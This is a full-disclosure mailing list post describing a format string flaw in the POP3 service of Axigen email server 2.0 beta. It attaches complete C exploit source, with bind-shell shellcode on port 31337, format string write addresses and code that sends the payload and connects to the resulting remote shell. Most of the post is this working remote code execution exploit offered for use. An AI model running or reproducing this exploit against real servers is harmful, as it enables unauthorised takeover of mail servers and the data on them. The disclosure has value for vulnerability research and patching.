[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Axigen server version: 2.0.0-beta1 (Linux/i686) - pop3 remote shell



The code attached exploits a format string vulnerability in the V2 beta
version of Axigen.

The pop3 service calls syslog in a vulnerable way when the logtype, for the
pop3 service, been set to "system" and loglevel is number with 4th bit set.
Any unknown command causes the log call with overwriting consequences.

This problem is patched in the final release but I am informed that v1 is
vulnerable, couldn't get my hands on the binary to test though

Thanks to mu-b

Have fun

fuGich
/* axiagen.c
 *
 * Axigen eMail Server v2.0 (beta)
 *      by fuGich Tue Dec 5 2006
 *
 *              thanks to mu-b
 *
 * - Tested on: Axigen V2 (beta)
 *
 *   logType for the pop3 service must be "system" and 
 *   the logLevel set to any number with 4th bit set
 *
 * remote shell format string vulnerability in pop3
 *      /bin/sh to bind to port 31337
 *
 * optimised format string generated with libforSC
 * used hhn for writes, could have been hn's but this was small enough and 
reduces size of log entry generated
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>


#define DEF_PORT    110
#define PORT_POP3   DEF_PORT


char formatString[] =
        
        // plt fixup code

        "\xba\xd8\xbe\x85\x09"          // mov    $0x985bed8,%edx
        "\xc7\x02\x9a\xf0\x04\x08"      // movl   $0x804f09a,(%edx)
        "\x8d\x52\x04"                  // lea    0x4(%edx),%edx
        "\xc6\x02\xaa"                  // movb   $0xaa,(%edx)
        "\x90\x90\x90"                  // make divisible by 8
        
        //
        // bind shell with fork to port 31337 98 bytes
        //

        "\x6a\x66"              // push $0x66 
        "\x58"                  // pop %eax 
        "\x99"                  // cltd 
        "\x6a\x01"              // push $0x1 
        "\x5b"                  // pop %ebx 
        "\x52"                  // push %edx 
        "\x53"                  // push %ebx 
        "\x6a\x02"              // push $0x2 

        //
        // <_doint>:
        //

        "\x89\xe1"              // mov %esp,%ecx 
        "\xcd\x80"              // int $0x80 

        "\x5b"                  // pop %ebx 
        "\x5d"                  // pop %ebp 
        "\x52"                  // push %edx 
        "\x66\xbd\x69\x7a"      // mov $0x7a69,%bp (0x7a69 = 31337)
        "\x0f\xcd"              // bswap %ebp 
        "\x09\xdd"              // or %ebx,%ebp 
        "\x55"                  // push %ebp 
        "\x6a\x10"              // push $0x10 
        "\x51"                  // push %ecx 
        "\x50"                  // push %eax 
        "\x89\xe1"              // mov %esp,%ecx 
        "\xb0\x66"              // mov $0x66,%al 
        "\xcd\x80"              // int $0x80 
        "\xb3\x04"              // mov $0x4,%bl 
        "\xb0\x66"              // mov $0x66,%al 
        "\xcd\x80"              // int $0x80 

        //
        // <_acceptloop>:
        //

        "\x5f"                  // pop %edi 
        "\x50"                  // push %eax 
        "\x50"                  // push %eax 
        "\x57"                  // push %edi 
        "\x89\xe1"              // mov %esp,%ecx 
        "\x43"                  // inc %ebx 
        "\xb0\x66"              // mov $0x66,%al 
        "\xcd\x80"              // int $0x80 
        "\x93"                  // xchg %eax,%ebx 
        "\xb0\x02"              // mov $0x2,%al 
        "\xcd\x80"              // int $0x80 
        "\x85\xc0"              // test %eax,%eax 
        "\x75\x1a"              // jne <_parent> 
        "\x59"                  // pop %ecx 

        //
        // <_dup2loop>:
        //

        "\xb0\x3f"              // mov $0x3f,%al 
        "\xcd\x80"              // int $0x80 
        "\x49"                  // dec %ecx 
        "\x79\xf9"              // jns <_dup2loop> 

        "\xb0\x0b"              // mov $0xb,%al 
        "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
        "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
        "\x89\xe3"              // mov %esp,%ebx 
        "\x52"                  // push %edx 
        "\x53"                  // push %ebx 
        "\xeb\xb2"              // jmp <_doint> 

        //
        // <_parent>:
        //

        "\x6a\x06"              // push $0x6 
        "\x58"                  // pop %eax 
        "\xcd\x80"              // int $0x80 
        "\xb3\x04"              // mov $0x4,%bl 
        "\xeb\xc9"              // jmp <_acceptloop>

        //
        // 9 write addresses
        //

        "\xd8\xbe\x85\x09"      // pointer @ 0x0985bed8
        "\xd9\xbe\x85\x09"
        "\xda\xbe\x85\x09"
        "\xdb\xbe\x85\x09"
        "\xe0\xbe\x85\x09"      // place shell code @ 0x0985bee0
        "\xe1\xbe\x85\x09"
        "\xe2\xbe\x85\x09"
        "\xe3\xbe\x85\x09"
        "\xe4\xbe\x85\x09"

        // add the format string

        
"%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn\r\n";


static int sock_send (int sock, u_char * src, int len);
static void formatme (u_char * host);
static int sockami (u_char * host, int port);
void shell (int sock);

void shell (int sock){          /* Attach to Remote Shell */

        int     l;
        char    buf[512];
        fd_set  rfds;

        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);
                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("\n - Connection closed by local 
user\n");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }
                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("\n - Connection closed by remote 
host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("\n - Read failure\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}

static int sock_send (int sock, u_char * src, int len){         /* send data to 
the open socket */

        int sbytes;
        sbytes = send (sock, src, len, 0);
        return (sbytes);
}

static int sockami (u_char * host, int port){   /* create the socket */

        struct sockaddr_in address;
        struct hostent *hp;
        int sock;

        fflush (stdout);
        if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1){
                perror ("socket()");
                exit (-1);
        }

        if ((hp = gethostbyname (host)) == NULL){
                perror ("gethostbyname()");
                exit (-1);
        }

        memset (&address, 0, sizeof (address));
        memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
        address.sin_family = AF_INET;
        address.sin_port = htons (port);

        if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == 
-1){
                perror ("connect()");
                exit (EXIT_FAILURE);
        }
        return (sock);
}

static void formatme (u_char * host){   /* do the evil */

        int sock;
        printf ("+Connecting to %s:%d ", host, PORT_POP3);      
        sock = sockami (host, PORT_POP3);
        printf ("\n+Sending format string\n");
        sock_send (sock, formatString, strlen (formatString));
        fflush (stdout);
        sleep(2);       
        printf ("+Connecting to Shell ");       
        sock = sockami (host, 31337);
        printf ("- Done\n");
        shell(sock);

}

int main (int argc, char **argv){       /* go figure */

        printf ("Axigen 2.0 beta Remote pop3 exploit\n"
                "by: <fuGich@xxxxxxxxx>\n\n");

        if (argc <= 1)
        {
                fprintf (stderr, "Usage: %s <host>\n\n", argv[0]);
                exit (EXIT_SUCCESS);
        }

        formatme (argv[1]);
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/